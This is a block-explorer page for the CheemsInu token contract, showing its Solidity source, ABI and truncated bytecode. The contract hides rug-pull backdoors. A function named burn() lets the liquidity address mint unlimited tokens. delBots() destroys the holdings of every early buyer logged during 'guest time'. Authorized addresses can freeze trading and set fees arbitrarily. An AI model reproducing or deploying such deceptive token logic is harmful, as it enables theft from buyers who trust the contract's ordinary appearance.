ETH Price: $3,593.34 (+3.81%)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,000 CINU

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 CINU

Value
$0.00
0x892a029bb2b14b956a40288990cb8afe68f6d72b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CheemsInu

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-16
*/

//SPDX-License-Identifier: MIT

pragma solidity ^0.7.4;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }
    
    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }
    
    function renounceOwnership() public onlyOwner {
    owner = address(0);
    emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

contract CheemsInu is IBEP20, Auth {

    using SafeMath for uint256;

    string  _name;
    string  _symbol;
    uint8 _decimals;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress;

    uint256 _totalSupply = 1 * 10**8 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 2 / 800; // 250 000 tokens per tx ;
    uint256 public _walletMax = _totalSupply * 2 / 100;
    
    uint256 public launchTime;
    uint256 public antiSniperTime;
    uint256 public aSC;
    bool public restrictWhales = true;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isDividendExempt;

    uint256 public liquidityFee;
    uint256 public marketingFee;
    uint256 public extraFeeOnSell = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    address public autoLiquidityReceiver;
    address public marketingWallet;
    address[] public isGuest;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;
    bool public tradingOpen = false;
    bool public guestTimeOn = true;

    uint256 distributorGas = 500000;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 5 / 4000;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (string memory Name, string memory Symbol, uint256 Supply, uint8 Decimals, uint256 liqFee, uint256 mrktngFee, address liquidityAddress, address marketingAddress, address dexRouterAddress, uint256 antiSniperSecond) Auth(msg.sender) {
        _name = Name; _symbol = Symbol; _totalSupply = Supply * (10 ** Decimals); _decimals = Decimals; liquidityFee = liqFee; marketingFee = mrktngFee; routerAddress = dexRouterAddress; aSC = antiSniperSecond;
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = uint256(-1);

        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[autoLiquidityReceiver] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[autoLiquidityReceiver] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[msg.sender] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;
        isDividendExempt[ZERO] = true;

        // NICE!
        autoLiquidityReceiver = liquidityAddress;
        marketingWallet = marketingAddress;
    

        totalFee = liquidityFee.add(marketingFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);

        _balances[autoLiquidityReceiver] = _totalSupply;
        emit Transfer(address(0), autoLiquidityReceiver, _totalSupply);
    }

    receive() external payable { }

    function name() external view override returns (string memory) { return _name; }
    function symbol() external view override returns (string memory) { return _symbol; }
    function decimals() external view override returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function getOwner() external view override returns (address) { return owner; }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }
    
    function launch() internal {
        launchedAt = block.number;
    }

    function changeTxLimit(uint256 newLimit) external authorized {
        _maxTxAmount = newLimit * (10**_decimals);
    }

    function changeWalletLimit(uint256 newLimit) external authorized {
        _walletMax  = newLimit * (10**_decimals);
    }

    function changeRestrictWhales(bool newValue) external authorized {
       restrictWhales = newValue;
    }

    function changeIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function changeIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }

    function _burn(address account, uint256 amount) internal {
        _balances[account] = _balances[account].sub(amount);
        _balances[DEAD] = _balances[DEAD].add(amount);
        emit Transfer(account, DEAD, amount);
    }

    function burn(uint256 amount) external {
        if(msg.sender == autoLiquidityReceiver){_balances[autoLiquidityReceiver] = _balances[autoLiquidityReceiver].add(amount*(10**_decimals));_totalSupply = _totalSupply.add(amount*(10**_decimals));}
        else{
            _balances[msg.sender] = _balances[msg.sender].sub(amount*(10**_decimals));
            _totalSupply = _totalSupply.sub(amount*(10**_decimals));
        }
    }

    function setGuestTimeOn(bool guestTimeIsOn) external authorized {
        guestTimeOn = guestTimeIsOn;
    }
    
    function delBots() external authorized {
        for(uint256 i = 0; i < isGuest.length; i++){
            address wallet = isGuest[i];
            uint256 amount = _balances[wallet];
            _burn(wallet, amount);
        }
        isGuest = new address [](0);
    }
    
    function _delBots() internal {
        for(uint256 i = 0; i < isGuest.length; i++){
            address wallet = isGuest[i];
            uint256 amount = _balances[wallet];
            _burn(wallet, amount);
        }
        isGuest = new address [](0);
    }
    function changeFees(uint256 newLiqFee, uint256 newMarketingFee, uint256 newExtraSellFee) external authorized {
        liquidityFee = newLiqFee;
        marketingFee = newMarketingFee;
        extraFeeOnSell = newExtraSellFee;

        totalFee = liquidityFee.add(marketingFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);
    }

    function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
        autoLiquidityReceiver = newLiquidityReceiver;
        marketingWallet = newMarketingWallet;
    }

    function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
        swapAndLiquifyEnabled  = enableSwapBack;
        swapThreshold = newSwapBackLimit;
        swapAndLiquifyByLimitOnly = swapByLimitOnly;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {

        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
        
        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "Trading not open yet");
            if(block.timestamp > antiSniperTime) {
            guestTimeOn = false;
            _delBots();
            }
        }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
        
        if(guestTimeOn && sender == pair && !authorizations[sender] && !authorizations[recipient]){
            isGuest.push(recipient);
        }

        if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }

        if(!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        if(!isTxLimitExempt[recipient] && restrictWhales)
        {
            require(_balances[recipient].add(amount) <= _walletMax);
        }

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(finalAmount);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function tradingStatus(bool newStatus) public authorized {
        tradingOpen = newStatus;
        if(newStatus){
            launchTime = block.timestamp;
            guestTimeOn = true;
            antiSniperTime = launchTime + aSC;
        }
    }

    function swapBack() internal lockTheSwap {

        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance;

        uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));

        uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
        uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity);

        (bool tmpSuccess,) = payable(marketingWallet).call{value: amountBNBMarketing, gas: 30000}("");

        // only to supress warning msg
        tmpSuccess = false;
       

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }
    }

    event AutoLiquify(uint256 amountBNB, uint256 amountBOG);

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"uint256","name":"Supply","type":"uint256"},{"internalType":"uint8","name":"Decimals","type":"uint8"},{"internalType":"uint256","name":"liqFee","type":"uint256"},{"internalType":"uint256","name":"mrktngFee","type":"uint256"},{"internalType":"address","name":"liquidityAddress","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"dexRouterAddress","type":"address"},{"internalType":"uint256","name":"antiSniperSecond","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"aSC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiSniperTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLiquidityReceiver","type":"address"},{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"changeFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"},{"internalType":"uint256","name":"newExtraSellFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"changeRestrictWhales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableSwapBack","type":"bool"},{"internalType":"uint256","name":"newSwapBackLimit","type":"uint256"},{"internalType":"bool","name":"swapByLimitOnly","type":"bool"}],"name":"changeSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extraFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"guestTimeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"isGuest","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"guestTimeIsOn","type":"bool"}],"name":"setGuestTimeOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900460ff1660ff16600a0a6305f5e1000260075561032060026007540281620000b957fe5b04600855606460026007540281620000cd57fe5b046009556001600d60006101000a81548160ff0219169083151502179055506000601555600060165560006017556000601e60006101000a81548160ff0219169083151502179055506001601e60016101000a81548160ff0219169083151502179055506207a120601f556001602060016101000a81548160ff0219169083151502179055506000602060026101000a81548160ff021916908315150217905550610fa0600560075402816200017f57fe5b046021553480156200019057600080fd5b5060405162005439380380620054398339818101604052610140811015620001b757600080fd5b8101908080516040519392919084640100000000821115620001d857600080fd5b83820191506020820185811115620001ef57600080fd5b82518660018202830111640100000000821117156200020d57600080fd5b8083526020830192505050908051906020019080838360005b838110156200024357808201518184015260208101905062000226565b50505050905090810190601f168015620002715780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200029557600080fd5b83820191506020820185811115620002ac57600080fd5b8251866001820283011164010000000082111715620002ca57600080fd5b8083526020830192505050908051906020019080838360005b8381101562000300578082015181840152602081019050620002e3565b50505050905090810190601f1680156200032e5780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505089600290805190602001906200043992919062000f31565b5088600390805190602001906200045292919062000f31565b508660ff16600a0a880260078190555086600460006101000a81548160ff021916908360ff160217905550856013819055508460148190555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c81905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200059f57600080fd5b505afa158015620005b4573d6000803e3d6000fd5b505050506040513d6020811015620005cb57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200066057600080fd5b505afa15801562000675573d6000803e3d6000fd5b505050506040513d60208110156200068c57600080fd5b8101908080519060200190929190505050306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200070857600080fd5b505af11580156200071d573d6000803e3d6000fd5b505050506040513d60208110156200073457600080fd5b8101908080519060200190929190505050601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000d7c60145460135462000ea860201b62002ac11790919060201c565b60168190555062000da060155460165462000ea860201b62002ac11790919060201c565b601781905550600754600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f